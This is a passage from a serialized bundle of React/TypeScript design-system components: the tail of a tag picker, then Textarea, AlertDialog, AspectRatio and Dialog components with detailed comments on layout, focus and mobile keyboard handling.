cancelEdit();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tclassName=\"flex-1\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<Button\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttype=\"button\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tvariant=\"transparent\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tsize=\"icon\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tonClick={confirmEdit}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdisabled={isUpdating}\n\t\t\t\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<CheckIcon size={14} className=\"text-ods-success\" />\n\t\t\t\t\t\t\t\t\t\t\t\t\t</Button>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<Button\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttype=\"button\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tvariant=\"transparent\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tsize=\"icon\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tonClick={cancelEdit}\n\t\t\t\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<XmarkIcon\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsize={14}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tclassName=\"text-ods-text-secondary\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</Button>\n\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\treturn (\n\t\t\t\t\t\t\t\t\t\t\t<div\n\t\t\t\t\t\t\t\t\t\t\t\tkey={tag.id}\n\t\t\t\t\t\t\t\t\t\t\t\trole=\"option\"\n\t\t\t\t\t\t\t\t\t\t\t\taria-selected={isSelected}\n\t\t\t\t\t\t\t\t\t\t\t\ttabIndex={0}\n\t\t\t\t\t\t\t\t\t\t\t\tclassName={cn(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"flex items-center h-11 md:h-12 px-4 cursor-pointer transition-colors border-b border-ods-border last:border-b-0\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"text-h4\",\n\t\t\t\t\t\t\t\t\t\t\t\t\tisSelected\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t? \"text-ods-accent\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t: \"text-ods-text-primary\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"hover:bg-ods-bg-hover group/item\",\n\t\t\t\t\t\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\t\t\t\t\t\tonClick={() => toggleTag(tag.id)}\n\t\t\t\t\t\t\t\t\t\t\t\tonKeyDown={(e) => {\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (e.key === \"Enter\" || e.key === \" \") {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttoggleTag(tag.id);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t\t<div className=\"flex items-center justify-between w-full\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t<span className=\"truncate\" title={tag.name}>{tag.name}</span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div className=\"flex items-center gap-1 shrink-0\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{isSelected && (\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<CheckIcon\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tclassName=\"text-ods-accent\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsize={20}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{(onUpdateTag || onDeleteTag) && (\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div className=\"flex items-center gap-0.5 opacity-0 group-hover/item:opacity-100 transition-opacity\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{onUpdateTag && (\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<Button\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttype=\"button\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tvariant=\"transparent\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsize=\"icon\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonClick={(e) => {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\te.stopPropagation();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tstartEdit(tag.id, tag.name);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<PencilIcon\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsize={14}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tclassName=\"text-ods-text-secondary\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</Button>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{onDeleteTag && (\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<Button\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttype=\"button\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tvariant=\"transparent\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsize=\"icon\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonClick={(e) => {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\te.stopPropagation();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\thandleDelete(tag.id);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdisabled={isDeleting}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<TrashIcon\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsize={14}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tclassName=\"text-ods-error\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</Button>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t})}\n\n\t\t\t\t\t\t\t\t\t{showCreateOption && (\n\t\t\t\t\t\t\t\t\t\t<div\n\t\t\t\t\t\t\t\t\t\t\trole=\"option\"\n\t\t\t\t\t\t\t\t\t\t\ttabIndex={0}\n\t\t\t\t\t\t\t\t\t\t\tclassName={cn(\n\t\t\t\t\t\t\t\t\t\t\t\t\"flex items-center gap-2 h-11 md:h-12 px-4 cursor-pointer transition-colors text-h4\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"hover:bg-ods-bg-hover\",\n\t\t\t\t\t\t\t\t\t\t\t\tisCreating && \"opacity-50 pointer-events-none\",\n\t\t\t\t\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\t\t\t\t\tonClick={handleCreate}\n\t\t\t\t\t\t\t\t\t\t\tonKeyDown={(e) => {\n\t\t\t\t\t\t\t\t\t\t\t\tif (e.key === \"Enter\" || e.key === \" \") {\n\t\t\t\t\t\t\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\t\t\t\t\t\t\thandleCreate();\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<PlusIcon\n\t\t\t\t\t\t\t\t\t\t\t\tsize={16}\n\t\t\t\t\t\t\t\t\t\t\t\tclassName=\"text-ods-accent shrink-0\"\n\t\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t\t\t<span className=\"text-ods-accent truncate\" title={`Create \"${search.trim()}\"`}>\n\t\t\t\t\t\t\t\t\t\t\t\tCreate &ldquo;{search.trim()}&rdquo;\n\t\t\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t)}\n\n\t\t\t\t\t\t\t\t\t{filtered.length === 0 && !showCreateOption && (\n\t\t\t\t\t\t\t\t\t\t<div className=\"px-4 py-2 text-ods-text-secondary text-h6\">\n\t\t\t\t\t\t\t\t\t\t\tNo tags found\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</ScrollAreaPrimitive.Viewport>\n\t\t\t\t\t\t\t<ScrollAreaPrimitive.Scrollbar\n\t\t\t\t\t\t\t\tclassName=\"hidden\"\n\t\t\t\t\t\t\t\torientation=\"vertical\"\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<ScrollAreaPrimitive.Thumb />\n\t\t\t\t\t\t\t</ScrollAreaPrimitive.Scrollbar>\n\t\t\t\t\t\t</ScrollAreaPrimitive.Root>\n\t\t\t\t\t</PopoverPrimitive.Content>\n\t\t\t\t</PopoverPrimitive.Root>\n\t\t\t</div>\n\t\t</FieldWrapper>\n\t);\n}\n","\"use client\"\n\nimport * as React from \"react\"\n\nimport { cn } from \"../../utils/cn\"\nimport { FieldWrapper } from \"./field-wrapper\"\n\nexport interface TextareaProps extends React.TextareaHTMLAttributes<HTMLTextAreaElement> {\n  /** When true, renders red error border & ring */\n  invalid?: boolean;\n  /** Label text displayed above the textarea */\n  label?: string;\n  /** Error message displayed below the textarea */\n  error?: string;\n  /** Element rendered at the right edge of the field (e.g. send icon). */\n  endIcon?: React.ReactNode;\n  /**\n   * When true, `endIcon` is wrapped in a real `<button>` with hover / active\n   * / focus-visible styling matching the rest of the design system. Pass any\n   * extra button attributes (`onClick`, `disabled`, `aria-label`, …) via\n   * `endIconButtonProps`.\n   */\n  endIconAsButton?: boolean;\n  /** Extra attributes for the end-icon button. */\n  endIconButtonProps?: Omit<React.ButtonHTMLAttributes<HTMLButtonElement>, 'children'>;\n  /** Element rendered at the LEFT edge of the field (e.g. a `+` add button).\n   *  Like `endIcon`, presence of this lifts the field into the wrapped layout\n   *  so the adornment sits visually inside the same border. Pass an\n   *  already-interactive node (button / menu trigger) — it renders verbatim. */\n  startIcon?: React.ReactNode;\n  /** When true (adorned layout only), the field draws NO border / background /\n   *  radius of its own — only its inner padding & layout. Use when an outer\n   *  container provides the card chrome (e.g. composer with a context-chip\n   *  header above the input, Figma 1:6073). */\n  hideBorder?: boolean;\n}\n\nconst Textarea = React.forwardRef<HTMLTextAreaElement, TextareaProps>(\n  ({ className, invalid = false, label, error, endIcon, endIconAsButton = false, endIconButtonProps, startIcon, hideBorder = false, ...props }, ref) => {\n    const isInvalid = invalid || !!error\n    const hasAdornment = !!endIcon || !!startIcon\n\n    // The adorned layout wraps the field in a `<label>`. Without an explicit\n    // `htmlFor`, the label's control defaults to its FIRST labelable descendant\n    // — which is `startIcon` (e.g. the composer `+` button) when present, so a\n    // click anywhere on the field synthesises a click on that button. Bind the\n    // label to the textarea explicitly to keep clicks (and focus) on the input.\n    const reactId = React.useId()\n    const fieldId = props.id ?? reactId\n\n    // Without any adornment we keep the historical layout: bare textarea, the\n    // border/bg/hover all live on the textarea itself.\n    if (!hasAdornment) {\n      return (\n        <FieldWrapper label={label} error={error}>\n          <textarea\n            className={cn(\n              \"flex min-h-[96px] w-full rounded-[6px] border p-3\",\n              \"text-h4\",\n              \"focus-visible:outline-none focus:border-ods-accent\",\n              \"transition-colors duration-200 touch-manipulation\",\n              \"bg-ods-card border-ods-border text-ods-text-primary placeholder:text-ods-text-secondary\",\n              !props.disabled && \"hover:bg-ods-bg-hover hover:border-ods-border-hover active:bg-ods-bg-active active:border-ods-border-active\",\n              props.disabled && \"!cursor-not-allowed bg-ods-bg disabled:placeholder:text-ods-border\",\n              \"cursor-text relative z-10\",\n              \"resize-y\",\n              isInvalid && \"border-ods-error hover:border-ods-error focus:border-ods-error\",\n              className,\n            )}\n            ref={ref}\n            {...props}\n          />\n        </FieldWrapper>\n      )\n    }\n\n    // With an end icon we lift border/bg onto a `<label>` wrapper so the icon\n    // sits visually inside the same field. The textarea becomes a transparent\n    // child. Wrapper classes mirror `Input` 1:1 (same items-center, same\n    // `has-[:focus]` selectors, same active state, same outline reset) so\n    // hover / focus / cursor behaviour matches the standard input exactly.\n    //\n    // Focus selector: historically `has-[:focus]` (any focusable descendant —\n    // textarea OR the end-icon submit button — lights the accent). We narrow it\n    // to `textarea:focus` ONLY when a `startIcon` is present, because that's the\n    // composer-context layout where the start adornment hosts the context\n    // picker's own `<input>` (search field) — which must NOT light the field\n    // chrome. End-icon-only consumers (ticket reply, contact form, …) keep the\n    // original any-focus behaviour so the submit-button focus ring is unchanged.\n    const accentBorder = startIcon\n      ? \"has-[textarea:focus]:border-ods-accent\"\n      : \"has-[:focus]:border-ods-accent\"\n    const accentBorderError = startIcon\n      ? \"has-[textarea:focus]:border-ods-error\"\n      : \"has-[:focus]:border-ods-error\"\n    const adornmentAccent = startIcon\n      ? \"group-has-[textarea:focus]:text-ods-accent\"\n      : \"group-has-[:focus]:text-ods-accent\"\n    const content = (\n      <label\n        htmlFor={fieldId}\n        data-invalid={isInvalid || undefined}\n        className={cn(\n          // Wrapper mirrors `Input`, but uses `items-end` so the icon sticks\n          // to the bottom-right when the textarea grows multi-line. Vertical\n          // padding lives here (not on the textarea) so both children share\n          // the same bottom baseline at any height.\n          //\n          // Padding is sized so the single-line height matches `Input` exactly\n          // (44px mobile / 48px desktop): line `leading-6` (24px) + 2× padding\n          // + 1px border top/bottom. `min-h-11 md:min-h-12` is the matching\n          // floor; with symmetric padding the single line stays centered.\n          \"flex w-full items-end gap-2 px-3 py-[9px] md:py-[11px] min-h-11 md:min-h-12 cursor-text\",\n          \"has-[:focus-visible]:outline-none\",\n          \"group\",\n          \"transition-colors duration-200\",\n          // Card chrome (border / bg / radius / hover / focus). Suppressed when\n          // `hideBorder` — an outer container owns it instead.\n          !hideBorder && cn(\"rounded-[6px] border bg-ods-card border-ods-border\", accentBorder),\n          !hideBorder && !props.disabled && \"hover:bg-ods-bg-hover hover:border-ods-border-hover active:bg-ods-bg-active active:border-ods-border-active\",\n          !hideBorder && props.disabled && \"!cursor-not-allowed bg-ods-bg\",\n          // Start / end icons carry their own colour — grey them with the value\n          // so a disabled field reads as one flat colour. Scoped to the DIRECT\n          // span children (the two icon wrappers): the nodes inside them are\n          // rendered verbatim so callers can pass an interactive trigger and own\n          // its styling, and a descendant rule would overwrite exactly that.\n          \"has-[:disabled]:[&>span]:text-ods-text-disabled has-[:disabled]:[&_svg]:text-ods-text-disabled\",\n          !hideBorder && isInvalid && cn(\"border-ods-error hover:border-ods-error\", accentBorderError),\n          hideBorder && \"bg-transparent\",\n        )}\n      >\n        {startIcon && (\n          // Start adornment (e.g. the composer `+`). `items-end` + `h-6`\n          // co-centers it with the first text line, matching `endIcon`. The\n          // node is rendered verbatim so callers can pass an interactive\n          // button / menu trigger and own its styling + active color.\n          <span className=\"flex h-6 shrink-0 items-center\">{startIcon}</span>\n        )}\n        <textarea\n          ref={ref}\n          rows={1}\n          id={fieldId}\n          className={cn(\n            \"flex-1 min-w-0 resize-none bg-transparent border-none outline-none p-0 m-0 box-border\",\n            // Native CSS auto-grow (Chrome 123+, FF 124+, Safari 16.4+) — no\n            // JS needed to size to content. Falls back to `rows={1}` natural\n            // height on older browsers.\n            \"[field-sizing:content]\",\n            // `!leading-6` (not plain `leading-6`): on mobile `text-h4` sets a\n            // 20px line-height of its own that otherwise overrides the leading,\n            // leaving the 20px text box short of the 24px icon box and dropping\n            // the text below center under `items-end`. Forcing 24px keeps text\n            // and icon co-centered and the single-line height at 44px.\n            \"text-h4 text-ods-text-primary placeholder:text-ods-text-secondary !leading-6\",\n            // Hard cap on growth: beyond `max-h` the textarea scrolls\n            // internally instead of pushing the icon out of frame.\n            \"max-h-[160px] overflow-y-auto\",\n            \"scrollbar-thin scrollbar-track-transparent scrollbar-thumb-ods-border/30 hover:scrollbar-thumb-ods-text-secondary/30\",\n            // Disabled - match Input exactly (value greys out, placeholder dims further)\n            \"disabled:cursor-not-allowed disabled:text-ods-text-disabled disabled:placeholder:text-ods-border\",\n            className,\n          )}\n          {...props}\n        />\n\n        {endIconAsButton ? (\n          <button\n            type=\"button\"\n            aria-label={endIconButtonProps?.['aria-label'] ?? 'Submit'}\n            {...endIconButtonProps}\n            className={cn(\n              // `h-6` matches the textarea's `leading-6` line box so the icon's\n              // visual center lines up with the text on the first line. Without\n              // it, `items-end` bottom-aligns the smaller mobile icon (size-4)\n              // against the 24px text line and drops it below the text center.\n              \"flex h-6 shrink-0 items-center text-ods-text-secondary transition-colors duration-200\",\n              adornmentAccent,\n              \"group-data-[invalid]:text-ods-error\",\n              \"[&_svg]:size-4 md:[&_svg]:size-6\",\n              \"cursor-pointer hover:text-ods-text-primary\",\n              \"focus-visible:outline-none focus-visible:text-ods-accent\",\n              \"disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:text-ods-text-secondary\",\n              endIconButtonProps?.className,\n            )}\n          >\n            {endIcon}\n          </button>\n        ) : (\n          <span\n            className={cn(\n              \"flex h-6 shrink-0 items-center text-ods-text-secondary transition-colors duration-200\",\n              adornmentAccent,\n              \"group-data-[invalid]:text-ods-error\",\n              \"[&_svg]:size-4 md:[&_svg]:size-6\",\n            )}\n          >\n            {endIcon}\n          </span>\n        )}\n      </label>\n    )\n\n    return (\n      <FieldWrapper label={label} error={error}>\n        {content}\n      </FieldWrapper>\n    )\n  }\n)\nTextarea.displayName = \"Textarea\"\n\nexport { Textarea }\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as AlertDialogPrimitive from \"@radix-ui/react-alert-dialog\"\n\nimport { cn } from \"../../utils/cn\"\nimport { buttonVariants } from \"./button\"\n\nconst AlertDialog = AlertDialogPrimitive.Root\n\nconst AlertDialogTrigger = AlertDialogPrimitive.Trigger\n\nconst AlertDialogPortal = AlertDialogPrimitive.Portal\n\nconst AlertDialogOverlay = React.forwardRef<\n  React.ElementRef<typeof AlertDialogPrimitive.Overlay>,\n  React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n  <AlertDialogPrimitive.Overlay\n    className={cn(\n      \"fixed inset-0 z-50 bg-ods-overlay  data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n      className\n    )}\n    {...props}\n    ref={ref}\n  />\n))\nAlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName\n\nconst AlertDialogContent = React.forwardRef<\n  React.ElementRef<typeof AlertDialogPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Content>\n>(({ className, ...props }, ref) => (\n  <AlertDialogPortal>\n    <AlertDialogOverlay />\n    <AlertDialogPrimitive.Content\n      ref={ref}\n      className={cn(\n        // Centered on the KEYBOARD-FREE area, not the layout viewport: nothing\n        // resizes the viewport when a mobile software keyboard opens, so a\n        // plain top-[50%] leaves the lower half of the dialog behind it. The\n        // max-height keeps that upward shift from pushing the top off-screen.\n        // See modal-v2.tsx for the full reasoning; --of-keyboard-inset is\n        // published by the app (keyboard-inset.ts) and 0 everywhere else.\n        // Content scrolls directly here, where DialogContent has to hand that\n        // job to a wrapper: this Content has no absolutely-positioned close\n        // button for a scroll container to carry off the top.\n        \"fixed left-[50%] top-[calc(50%_-_var(--of-keyboard-inset,0px)/2)] z-50 grid w-full max-w-lg max-h-[calc(100dvh_-_var(--of-keyboard-inset,0px)_-_2rem)] overflow-y-auto translate-x-[-50%] translate-y-[-50%] gap-[var(--spacing-system-mf)] border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-1/2 data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-1/2 md:rounded-lg\",\n        className\n      )}\n      {...props}\n    />\n  </AlertDialogPortal>\n))\nAlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName\n\nconst AlertDialogHeader = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n  <div\n    className={cn(\n      \"flex flex-col space-y-2 text-center md:text-left\",\n      className\n    )}\n    {...props}\n  />\n)\nAlertDialogHeader.displayName = \"AlertDialogHeader\"\n\nconst AlertDialogFooter = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n  <div\n    className={cn(\n      \"flex flex-col-reverse md:flex-row md:justify-end md:space-x-2\",\n      className\n    )}\n    {...props}\n  />\n)\nAlertDialogFooter.displayName = \"AlertDialogFooter\"\n\nconst AlertDialogTitle = React.forwardRef<\n  React.ElementRef<typeof AlertDialogPrimitive.Title>,\n  React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Title>\n>(({ className, ...props }, ref) => (\n  <AlertDialogPrimitive.Title\n    ref={ref}\n    className={cn(\"text-h3\", className)}\n    {...props}\n  />\n))\nAlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName\n\nconst AlertDialogDescription = React.forwardRef<\n  React.ElementRef<typeof AlertDialogPrimitive.Description>,\n  React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n  <AlertDialogPrimitive.Description\n    ref={ref}\n    className={cn(\"text-h6 text-muted-foreground\", className)}\n    {...props}\n  />\n))\nAlertDialogDescription.displayName =\n  AlertDialogPrimitive.Description.displayName\n\nconst AlertDialogAction = React.forwardRef<\n  React.ElementRef<typeof AlertDialogPrimitive.Action>,\n  React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Action>\n>(({ className, ...props }, ref) => (\n  <AlertDialogPrimitive.Action\n    ref={ref}\n    className={cn(buttonVariants(), className)}\n    {...props}\n  />\n))\nAlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName\n\nconst AlertDialogCancel = React.forwardRef<\n  React.ElementRef<typeof AlertDialogPrimitive.Cancel>,\n  React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Cancel>\n>(({ className, ...props }, ref) => (\n  <AlertDialogPrimitive.Cancel\n    ref={ref}\n    className={cn(\n      buttonVariants({ variant: \"outline\" }),\n      \"mt-2 md:mt-0\",\n      className\n    )}\n    {...props}\n  />\n))\nAlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName\n\nexport {\n  AlertDialog,\n  AlertDialogPortal,\n  AlertDialogOverlay,\n  AlertDialogTrigger,\n  AlertDialogContent,\n  AlertDialogHeader,\n  AlertDialogFooter,\n  AlertDialogTitle,\n  AlertDialogDescription,\n  AlertDialogAction,\n  AlertDialogCancel,\n}\n","\"use client\"\n\nimport * as AspectRatioPrimitive from \"@radix-ui/react-aspect-ratio\"\n\nconst AspectRatio = AspectRatioPrimitive.Root\n\nexport { AspectRatio }\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as DialogPrimitive from \"@radix-ui/react-dialog\"\nimport { X } from \"lucide-react\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst Dialog = DialogPrimitive.Root\n\nconst DialogTrigger = DialogPrimitive.Trigger\n\nconst DialogPortal = DialogPrimitive.Portal\n\nconst DialogClose = DialogPrimitive.Close\n\nconst DialogOverlay = React.forwardRef<\n  React.ElementRef<typeof DialogPrimitive.Overlay>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Overlay\n    ref={ref}\n    className={cn(\n      \"fixed inset-0 z-[9998] bg-ods-overlay backdrop-blur-sm data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n      className,\n    )}\n    {...props}\n  />\n))\nDialogOverlay.displayName = DialogPrimitive.Overlay.displayName\n\nconst DialogContent = React.forwardRef<\n  React.ElementRef<typeof DialogPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n  <DialogPortal>\n    <DialogOverlay />\n    <DialogPrimitive.Content\n      ref={ref}\n      className={cn(\n        // Centered on the KEYBOARD-FREE area, not the layout viewport: nothing\n        // resizes the viewport when a mobile software keyboard opens, so a\n        // plain top-[50%] leaves the lower half of the dialog behind it. See\n        // modal-v2.tsx for the full reasoning; --of-keyboard-inset is published\n        // by the app (keyboard-inset.ts) and 0 everywhere else.\n        //\n        // The cap is on THIS box but the scrolling is not: the close button\n        // below is `absolute` against it, so a scroll container here would\n        // carry the X off the top. The wrapper around `children` scrolls\n        // instead, and carries the section gap that used to sit here so\n        // header/body/footer keep their spacing.\n        //\n        // `grid-rows-[minmax(0,1fr)]` is what makes the cap bite. An implicit\n        // row track is `auto`-sized, so it grows to its content and overflows\n        // the max-height no matter what min-height the wrapper carries —\n        // measured at 1136px of rows inside an 843px box. Constraining the\n        // track is what hands the wrapper a scrollbar; `1fr` still collapses to\n        // max-content when the dialog is shorter than the cap, so short dialogs\n        // keep hugging their content.\n        \"fixed left-[50%] top-[calc(50%_-_var(--of-keyboard-inset,0px)/2)] z-[9999] grid grid-rows-[minmax(0,1fr)] w-full max-w-lg max-h-[calc(100dvh_-_var(--of-keyboard-inset,0px)_-_2rem)] translate-x-[-50%] translate-y-[-50%] border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-1/2 data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-1/2 md:rounded-lg\",\n        className,\n      )}\n      {...props}\n    >\n      {/* min-h-0 is load-bearing: a grid item defaults to min-height:auto and\n          would refuse to shrink below its content, so the cap above would push\n          past the viewport instead of handing this box a scrollbar. */}\n      <div className=\"grid min-h-0 gap-[var(--spacing-system-mf)] overflow-y-auto\">{children}</div>\n      <DialogPrimitive.Close className=\"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-accent data-[state=open]:text-muted-foreground\">\n        <X className=\"h-4 w-4\" />\n        <span className=\"sr-only\">Close</span>\n      </DialogPrimitive.Close>\n    </DialogPrimitive.Content>\n  </DialogPortal>\n))\nDialogContent.displayName = DialogPrimitive.Content.displayName\n\nconst DialogHeader = ({ className, ...props }: React.HTMLAttributes<HTMLDivElement>) => (\n  <div className={cn(\"flex flex-col space-y-1.5 text-center md:text-left\", className)} {...props} />\n)\nDialogHeader.displayName = \"DialogHeader\"\n\nconst DialogFooter = ({ className, ...props }: React.HTMLAttributes<HTMLDivElement>) => (\n  <div className={cn(\"flex flex-col-reverse md:flex-row md:justify-end md:space-x-2\", className)} {...props} />\n)\nDialogFooter.displayName = \"DialogFooter\"\n\nconst DialogTitle = React.forwardRef<\n  React.ElementRef<typeof DialogPrimitive.Title>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Title>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Title\n    ref={ref}\n    className={cn(\"text-h3\", className)}\n    {...props}\n  />\n))\nDialogTitle.displayName = DialogPrimitive.Title.displayName\n\nconst DialogDescription = React.forwardRef<\n  React.ElementRef<typeof DialogPrimitive.Description>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Description ref={ref} className={cn(\"text-h6 text-muted-foreground\", className)} {...props} />\n))\nDialogDescription.displayName = DialogPrimitive.Description.displayName\n\nexport {\n  Dialog,\n  DialogPortal,\n  DialogOverlay,\n  DialogClose,\n  DialogTrigger,\n  DialogContent,\n  DialogHeader,\n  DialogFooter,\n  DialogTitle,\n  DialogDescription,\n}\n","\"use client\"\n\nimport * as React from 